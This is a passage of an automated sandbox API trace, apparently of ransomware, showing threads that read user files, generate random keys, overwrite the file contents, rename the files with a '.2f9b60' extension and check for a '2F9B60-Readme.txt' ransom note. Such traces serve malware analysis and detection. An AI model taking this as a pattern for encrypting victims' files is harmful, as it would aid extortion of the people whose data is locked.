Seed=0x2f43f850 | out: Seed=0x2f43f850) returned 0x6aa4c057 [0103.006] RtlRandomEx (in: Seed=0x2f43f850 | out: Seed=0x2f43f850) returned 0x47e1eebc [0103.006] RtlRandomEx (in: Seed=0x2f43f850 | out: Seed=0x2f43f850) returned 0x3e4d3440 [0103.006] RtlRandomEx (in: Seed=0x2f43f850 | out: Seed=0x2f43f850) returned 0x262b673d [0103.006] RtlRandomEx (in: Seed=0x2f43f850 | out: Seed=0x2f43f850) returned 0x5632dfb5 [0103.006] RtlRandomEx (in: Seed=0x2f43f850 | out: Seed=0x2f43f850) returned 0xea70550 [0103.006] RtlRandomEx (in: Seed=0x2f43f850 | out: Seed=0x2f43f850) returned 0x1284e9f2 [0103.007] RtlRandomEx (in: Seed=0x2f43f850 | out: Seed=0x2f43f850) returned 0x66a1be3f [0103.007] RtlRandomEx (in: Seed=0x2f43f850 | out: Seed=0x2f43f850) returned 0x2b6f9020 [0103.007] RtlRandomEx (in: Seed=0x2f43f850 | out: Seed=0x2f43f850) returned 0x5d7c0061 [0103.007] RtlRandomEx (in: Seed=0x2f43f850 | out: Seed=0x2f43f850) returned 0x5b369b3b [0103.007] RtlRandomEx (in: Seed=0x2f43f850 | out: Seed=0x2f43f850) returned 0x70bfba19 [0103.007] RtlRandomEx (in: Seed=0x2f43f850 | out: Seed=0x2f43f850) returned 0x52e8bb5d [0103.007] RtlRandomEx (in: Seed=0x2f43f850 | out: Seed=0x2f43f850) returned 0x3b8784f8 [0103.007] RtlRandomEx (in: Seed=0x2f43f850 | out: Seed=0x2f43f850) returned 0x539f91e2 [0103.007] RtlRandomEx (in: Seed=0x2f43f850 | out: Seed=0x2f43f850) returned 0x65dc001 [0103.007] RtlRandomEx (in: Seed=0x2f43f850 | out: Seed=0x2f43f850) returned 0x1b4ad739 [0103.007] RtlRandomEx (in: Seed=0x2f43f850 | out: Seed=0x2f43f850) returned 0x1284e9f2 [0103.017] SetFilePointerEx (in: hFile=0x1730, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.017] ReadFile (in: hFile=0x1730, lpBuffer=0x20486ac0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2f43f8c0, lpOverlapped=0x0 | out: lpBuffer=0x20486ac0*, lpNumberOfBytesRead=0x2f43f8c0*=0x3c00, lpOverlapped=0x0) returned 1 [0103.017] SetFilePointerEx (in: hFile=0x1730, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.017] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97fd0 [0103.017] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869740 [0103.017] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263260 [0103.017] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263260) returned 1 [0103.018] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2048a6d0 [0103.018] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263260 [0103.018] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202602c0 [0103.018] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202602c0) returned 1 [0103.018] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869740) returned 1 [0103.018] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97fd0) returned 1 [0103.018] WriteFile (in: hFile=0x1730, lpBuffer=0x2048a6d0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2f43f8c0, lpOverlapped=0x0 | out: lpBuffer=0x2048a6d0*, lpNumberOfBytesWritten=0x2f43f8c0*=0x3c00, lpOverlapped=0x0) returned 1 [0103.385] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2048a6d0) returned 1 [0103.385] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20486ac0) returned 1 [0103.385] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1cd9f270 [0103.385] SetFilePointerEx (in: hFile=0x1730, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0103.386] WriteFile (in: hFile=0x1730, lpBuffer=0x1b7d3a20*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x2f43f970, lpOverlapped=0x0 | out: lpBuffer=0x1b7d3a20*, lpNumberOfBytesWritten=0x2f43f970*=0x11a, lpOverlapped=0x0) returned 1 [0103.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97850 [0103.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503690 [0103.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260380 [0103.802] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260380) returned 1 [0103.802] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x20260380 [0103.802] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202631a0 [0103.802] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202603b0 [0103.802] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202603b0) returned 1 [0103.802] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503690) returned 1 [0103.802] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97850) returned 1 [0103.802] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x51) returned 0x1cd867f0 [0103.802] sprintf (in: _Dest=0x1cd867f0, _Format="%c%c" | out: _Dest="d1") returned 2 [0103.802] sprintf (in: _Dest=0x1cd867f2, _Format="%c%c" | out: _Dest="84") returned 2 [0103.802] sprintf (in: _Dest=0x1cd867f4, _Format="%c%c" | out: _Dest="d6") returned 2 [0103.802] sprintf (in: _Dest=0x1cd867f6, _Format="%c%c" | out: _Dest="37") returned 2 [0103.802] sprintf (in: _Dest=0x1cd867f8, _Format="%c%c" | out: _Dest="1d") returned 2 [0103.802] sprintf (in: _Dest=0x1cd867fa, _Format="%c%c" | out: _Dest="a5") returned 2 [0103.802] sprintf (in: _Dest=0x1cd867fc, _Format="%c%c" | out: _Dest="af") returned 2 [0103.802] sprintf (in: _Dest=0x1cd867fe, _Format="%c%c" | out: _Dest="97") returned 2 [0103.802] sprintf (in: _Dest=0x1cd86800, _Format="%c%c" | out: _Dest="53") returned 2 [0103.802] sprintf (in: _Dest=0x1cd86802, _Format="%c%c" | out: _Dest="f3") returned 2 [0103.803] sprintf (in: _Dest=0x1cd86804, _Format="%c%c" | out: _Dest="99") returned 2 [0103.803] sprintf (in: _Dest=0x1cd86806, _Format="%c%c" | out: _Dest="f1") returned 2 [0103.803] sprintf (in: _Dest=0x1cd86808, _Format="%c%c" | out: _Dest="d5") returned 2 [0103.803] sprintf (in: _Dest=0x1cd8680a, _Format="%c%c" | out: _Dest="54") returned 2 [0103.803] sprintf (in: _Dest=0x1cd8680c, _Format="%c%c" | out: _Dest="0c") returned 2 [0103.803] sprintf (in: _Dest=0x1cd8680e, _Format="%c%c" | out: _Dest="52") returned 2 [0103.803] sprintf (in: _Dest=0x1cd86810, _Format="%c%c" | out: _Dest="60") returned 2 [0103.803] sprintf (in: _Dest=0x1cd86812, _Format="%c%c" | out: _Dest="4d") returned 2 [0103.803] sprintf (in: _Dest=0x1cd86814, _Format="%c%c" | out: _Dest="fb") returned 2 [0103.803] sprintf (in: _Dest=0x1cd86816, _Format="%c%c" | out: _Dest="ee") returned 2 [0103.803] sprintf (in: _Dest=0x1cd86818, _Format="%c%c" | out: _Dest="1b") returned 2 [0103.803] sprintf (in: _Dest=0x1cd8681a, _Format="%c%c" | out: _Dest="48") returned 2 [0103.803] sprintf (in: _Dest=0x1cd8681c, _Format="%c%c" | out: _Dest="1f") returned 2 [0103.803] sprintf (in: _Dest=0x1cd8681e, _Format="%c%c" | out: _Dest="d2") returned 2 [0103.803] sprintf (in: _Dest=0x1cd86820, _Format="%c%c" | out: _Dest="04") returned 2 [0103.803] sprintf (in: _Dest=0x1cd86822, _Format="%c%c" | out: _Dest="7a") returned 2 [0103.803] sprintf (in: _Dest=0x1cd86824, _Format="%c%c" | out: _Dest="29") returned 2 [0103.803] sprintf (in: _Dest=0x1cd86826, _Format="%c%c" | out: _Dest="fd") returned 2 [0103.803] sprintf (in: _Dest=0x1cd86828, _Format="%c%c" | out: _Dest="32") returned 2 [0103.803] sprintf (in: _Dest=0x1cd8682a, _Format="%c%c" | out: _Dest="46") returned 2 [0103.803] sprintf (in: _Dest=0x1cd8682c, _Format="%c%c" | out: _Dest="12") returned 2 [0103.803] sprintf (in: _Dest=0x1cd8682e, _Format="%c%c" | out: _Dest="58") returned 2 [0103.803] sprintf (in: _Dest=0x1cd86830, _Format="%c%c" | out: _Dest="30") returned 2 [0103.803] sprintf (in: _Dest=0x1cd86832, _Format="%c%c" | out: _Dest="87") returned 2 [0103.803] sprintf (in: _Dest=0x1cd86834, _Format="%c%c" | out: _Dest="a1") returned 2 [0103.803] sprintf (in: _Dest=0x1cd86836, _Format="%c%c" | out: _Dest="88") returned 2 [0103.803] sprintf (in: _Dest=0x1cd86838, _Format="%c%c" | out: _Dest="17") returned 2 [0103.803] sprintf (in: _Dest=0x1cd8683a, _Format="%c%c" | out: _Dest="ad") returned 2 [0103.803] sprintf (in: _Dest=0x1cd8683c, _Format="%c%c" | out: _Dest="a5") returned 2 [0103.803] sprintf (in: _Dest=0x1cd8683e, _Format="%c%c" | out: _Dest="e0") returned 2 [0103.804] RtlInitAnsiString (in: DestinationString=0x2f43f9e8, SourceString="d184d6371da5af9753f399f1d5540c52604dfbee1b481fd2047a29fd324612583087a18817ada5e0" | out: DestinationString="d184d6371da5af9753f399f1d5540c52604dfbee1b481fd2047a29fd324612583087a18817ada5e0") [0103.804] RtlAnsiStringToUnicodeString (in: DestinationString=0x2f43f9b8, SourceString="d184d6371da5af9753f399f1d5540c52604dfbee1b481fd2047a29fd324612583087a18817ada5e0", AllocateDestinationString=1 | out: DestinationString="d184d6371da5af9753f399f1d5540c52604dfbee1b481fd2047a29fd324612583087a18817ada5e0") returned 0x0 [0103.804] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x2050d370 [0103.804] wcscat (in: _Dest=0x4205daf0, _Source="d184d6371da5af9753f3" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\d184d6371da5af9753f3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\d184d6371da5af9753f3" [0103.804] wcscat (in: _Dest=0x4205daf0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\d184d6371da5af9753f3.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\d184d6371da5af9753f3.2f9b60" [0103.804] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\d184d6371da5af9753f3.2f9b60", NtPathName=0x2f43f990, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\d184d6371da5af9753f3.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0103.804] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x107300 [0104.408] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107300) returned 1 [0104.408] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053d20) returned 1 [0104.408] NtQueryInformationFile (in: FileHandle=0x1730, IoStatusBlock=0x2f43f9f8, FileInformation=0x2f43fa08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2f43f9f8, FileInformation=0x2f43fa08) returned 0x0 [0104.408] NtSetInformationFile (FileHandle=0x1730, IoStatusBlock=0x2f43f9f8, FileInformation=0x2f43fa08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0104.411] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205daf0) returned 1 [0104.411] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d370) returned 1 [0104.411] FlushFileBuffers (hFile=0x1730) returned 1 [0104.414] CloseHandle (hObject=0x1730) returned 1 [0104.415] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x2050a140 [0104.415] wcscpy (in: _Dest=0x2050a140, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0104.415] wcscat (in: _Dest=0x2050a140, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt" [0104.416] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\2f9b60-readme.txt")) returned 0x2020 [0104.439] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050a140) returned 1 [0104.439] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4d10) returned 1 Thread: id = 936 os_tid = 0x1548 [0101.216] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lYUc.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\lyuc.ods")) returned 0x2020 [0101.216] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lYUc.ods", dwFileAttributes=0x20) returned 1 [0103.080] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lYUc.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\lyuc.ods"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1740 [0103.080] GetFileSizeEx (in: hFile=0x1740, lpFileSize=0x2efef8a0 | out: lpFileSize=0x2efef8a0*=15470) returned 1 [0103.080] SetFilePointerEx (in: hFile=0x1740, liDistanceToMove=0x3c6a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.080] ReadFile (in: hFile=0x1740, lpBuffer=0x2efef820, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2efef868, lpOverlapped=0x0 | out: lpBuffer=0x2efef820*, lpNumberOfBytesRead=0x2efef868*=0x4, lpOverlapped=0x0) returned 1 [0103.081] SetFilePointerEx (in: hFile=0x1740, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.081] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263050 [0103.081] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262f90 [0103.081] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202633b0 [0103.081] NtQuerySystemTime (in: CurrentTime=0x2efef760 | out: CurrentTime=0x2efef760*=132462177085834000) returned 0x0 [0103.081] RtlRandomEx (in: Seed=0x2efef750 | out: Seed=0x2efef750) returned 0x667b0032 [0103.081] RtlRandomEx (in: Seed=0x2efef750 | out: Seed=0x2efef750) returned 0x654a9442 [0103.081] RtlRandomEx (in: Seed=0x2efef750 | out: Seed=0x2efef750) returned 0x51f0ed08 [0103.082] RtlRandomEx (in: Seed=0x2efef750 | out: Seed=0x2efef750) returned 0x33c4381d [0103.082] RtlRandomEx (in: Seed=0x2efef750 | out: Seed=0x2efef750) returned 0x156357ea [0103.082] RtlRandomEx (in: Seed=0x2efef750 | out: Seed=0x2efef750) returned 0x4570933 [0103.082] RtlRandomEx (in: Seed=0x2efef750 | out: Seed=0x2efef750) returned 0x4277228c [0103.082] RtlRandomEx (in: Seed=0x2efef750 | out: Seed=0x2efef750) returned 0x58b27bb3 [0103.082] RtlRandomEx (in: Seed=0x2efef750 | out: Seed=0x2efef750) returned 0x4a9adb7f [0103.082] RtlRandomEx (in: Seed=0x2efef750 | out: Seed=0x2efef750) returned 0x1707c83b [0103.082] RtlRandomEx (in: Seed=0x2efef750 | out: Seed=0x2efef750) returned 0x64b4ccbb [0103.082] RtlRandomEx (in: Seed=0x2efef750 | out: Seed=0x2efef750) returned 0x4b724526 [0103.082] RtlRandomEx (in: Seed=0x2efef750 | out: Seed=0x2efef750) returned 0x4cebf390 [0103.082] RtlRandomEx (in: Seed=0x2efef750 | out: Seed=0x2efef750) returned 0x68f7b2dc [0103.082] RtlRandomEx (in: Seed=0x2efef750 | out: Seed=0x2efef750) returned 0x6173eb9a [0103.082] RtlRandomEx (in: Seed=0x2efef750 | out: Seed=0x2efef750) returned 0x71079610 [0103.082] RtlRandomEx (in: Seed=0x2efef750 | out: Seed=0x2efef750) returned 0x79f22aa1 [0103.082] RtlRandomEx (in: Seed=0x2efef750 | out: Seed=0x2efef750) returned 0x5c340db2 [0103.082] RtlRandomEx (in: Seed=0x2efef750 | out: Seed=0x2efef750) returned 0x2d295f65 [0103.082] RtlRandomEx (in: Seed=0x2efef750 | out: Seed=0x2efef750) returned 0x7e27a892 [0103.082] RtlRandomEx (in: Seed=0x2efef750 | out: Seed=0x2efef750) returned 0x33c4381d [0103.082] RtlRandomEx (in: Seed=0x2efef750 | out: Seed=0x2efef750) returned 0x2a315e03 [0103.082] RtlRandomEx (in: Seed=0x2efef750 | out: Seed=0x2efef750) returned 0x516b5674 [0103.082] RtlRandomEx (in: Seed=0x2efef750 | out: Seed=0x2efef750) returned 0x7f03d14c [0103.082] RtlRandomEx (in: Seed=0x2efef750 | out: Seed=0x2efef750) returned 0x39b6c13c [0103.082] RtlRandomEx (in: Seed=0x2efef750 | out: Seed=0x2efef750) returned 0x297a7b1a [0103.082] RtlRandomEx (in: Seed=0x2efef750 | out: Seed=0x2efef750) returned 0x7f314301 [0103.082] RtlRandomEx (in: Seed=0x2efef750 | out: Seed=0x2efef750) returned 0x3d61a60c [0103.082] RtlRandomEx (in: Seed=0x2efef750 | out: Seed=0x2efef750) returned 0x2d3d1bdd [0103.082] RtlRandomEx (in: Seed=0x2efef750 | out: Seed=0x2efef750) returned 0x66b658ef [0103.082] RtlRandomEx (in: Seed=0x2efef750 | out: Seed=0x2efef750) returned 0x3d0f5528 [0103.082] RtlRandomEx (in: Seed=0x2efef750 | out: Seed=0x2efef750) returned 0x369fd763 [0103.094] SetFilePointerEx (in: hFile=0x1740, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.094] ReadFile (in: hFile=0x1740, lpBuffer=0x41f7d170, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2efef7c0, lpOverlapped=0x0 | out: lpBuffer=0x41f7d170*, lpNumberOfBytesRead=0x2efef7c0*=0x3c00, lpOverlapped=0x0) returned 1 [0103.094] SetFilePointerEx (in: hFile=0x1740, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.094] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0103.094] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503810 [0103.094] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263050 [0103.094] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263050) returned 1 [0103.095] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f80d80 [0103.095] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263050 [0103.095] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202633b0 [0103.095] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202633b0) returned 1 [0103.095] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503810) returned 1 [0103.095] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0103.095] WriteFile (in: hFile=0x1740, lpBuffer=0x41f80d80*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2efef7c0, lpOverlapped=0x0 | out: lpBuffer=0x41f80d80*, lpNumberOfBytesWritten=0x2efef7c0*=0x3c00, lpOverlapped=0x0) returned 1 [0103.410] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f80d80) returned 1 [0103.410] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f7d170) returned 1 [0103.410] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x202624e0 [0103.410] SetFilePointerEx (in: hFile=0x1740, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0103.410] WriteFile (in: hFile=0x1740, lpBuffer=0x169a20*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2efef870, lpOverlapped=0x0 | out: lpBuffer=0x169a20*, lpNumberOfBytesWritten=0x2efef870*=0x102, lpOverlapped=0x0) returned 1 [0103.839] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97850 [0103.839] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503c10 [0103.839] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263bc0 [0103.839] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263bc0) returned 1 [0103.839] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b82d000 [0103.839] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263bc0 [0103.839] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261160 [0103.839] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261160) returned 1 [0103.839] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503c10) returned 1 [0103.839] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97850) returned 1 [0103.839] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x21) returned 0x20261160 [0103.840] sprintf (in: _Dest=0x20261160, _Format="%c%c" | out: _Dest="16") returned 2 [0103.840] sprintf (in: _Dest=0x20261162, _Format="%c%c" | out: _Dest="c5") returned 2 [0103.840] sprintf (in: _Dest=0x20261164, _Format="%c%c" | out: _Dest="bc") returned 2 [0103.840] sprintf (in: _Dest=0x20261166, _Format="%c%c" | out: _Dest="81") returned 2 [0103.840] sprintf (in: _Dest=0x20261168, _Format="%c%c" | out: _Dest="db") returned 2 [0103.840] sprintf (in: _Dest=0x2026116a, _Format="%c%c" | out: _Dest="ae") returned 2 [0103.840] sprintf (in: _Dest=0x2026116c, _Format="%c%c" | out: _Dest="d6") returned 2 [0103.840] sprintf (in: _Dest=0x2026116e, _Format="%c%c" | out: _Dest="7d") returned 2 [0103.840] sprintf (in: _Dest=0x20261170, _Format="%c%c" | out: _Dest="b2") returned 2 [0103.840] sprintf (in: _Dest=0x20261172, _Format="%c%c" | out: _Dest="9b") returned 2 [0103.840] sprintf (in: _Dest=0x20261174, _Format="%c%c" | out: _Dest="3c") returned 2 [0103.840] sprintf (in: _Dest=0x20261176, _Format="%c%c" | out: _Dest="17") returned 2 [0103.840] sprintf (in: _Dest=0x20261178, _Format="%c%c" | out: _Dest="bb") returned 2 [0103.840] sprintf (in: _Dest=0x2026117a, _Format="%c%c" | out: _Dest="fd") returned 2 [0103.840] sprintf (in: _Dest=0x2026117c, _Format="%c%c" | out: _Dest="bd") returned 2 [0103.840] sprintf (in: _Dest=0x2026117e, _Format="%c%c" | out: _Dest="3d") returned 2 [0103.840] RtlInitAnsiString (in: DestinationString=0x2efef8e8, SourceString="16c5bc81dbaed67db29b3c17bbfdbd3d" | out: DestinationString="16c5bc81dbaed67db29b3c17bbfdbd3d") [0103.840] RtlAnsiStringToUnicodeString (in: DestinationString=0x2efef8b8, SourceString="16c5bc81dbaed67db29b3c17bbfdbd3d", AllocateDestinationString=1 | out: DestinationString="16c5bc81dbaed67db29b3c17bbfdbd3d") returned 0x0 [0103.840] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1cd97ee0 [0103.840] wcscat (in: _Dest=0x2050a1d0, _Source="16c5bc81" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\16c5bc81") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\16c5bc81" [0103.840] wcscat (in: _Dest=0x2050a1d0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\16c5bc81.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\16c5bc81.2f9b60" [0103.840] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\16c5bc81.2f9b60", NtPathName=0x2efef890, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\16c5bc81.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0103.840] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x2050d420 [0104.416] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d420) returned 1 [0104.416] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42056dd0) returned 1 [0104.416] NtQueryInformationFile (in: FileHandle=0x1740, IoStatusBlock=0x2efef8f8, FileInformation=0x2efef908, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2efef8f8, FileInformation=0x2efef908) returned 0x0 [0104.416] NtSetInformationFile (FileHandle=0x1740, IoStatusBlock=0x2efef8f8, FileInformation=0x2efef908, Length=0x28, FileInformationClass=0x4) returned 0x0 [0104.421] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050a1d0) returned 1 [0104.421] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97ee0) returned 1 [0104.421] FlushFileBuffers (hFile=0x1740) returned 1 [0104.426] CloseHandle (hObject=0x1740) returned 1 [0104.427] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x2050a2f0 [0104.427] wcscpy (in: _Dest=0x2050a2f0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0104.427] wcscat (in: _Dest=0x2050a2f0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt" [0104.427] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\2f9b60-readme.txt")) returned 0x2020 [0104.442] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050a2f0) returned 1 [0104.442] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dd70) returned 1 Thread: id = 937 os_tid = 0x154c [0101.224] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b79d570 [0101.225] wcscpy (in: _Dest=0x1b79d570, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia") 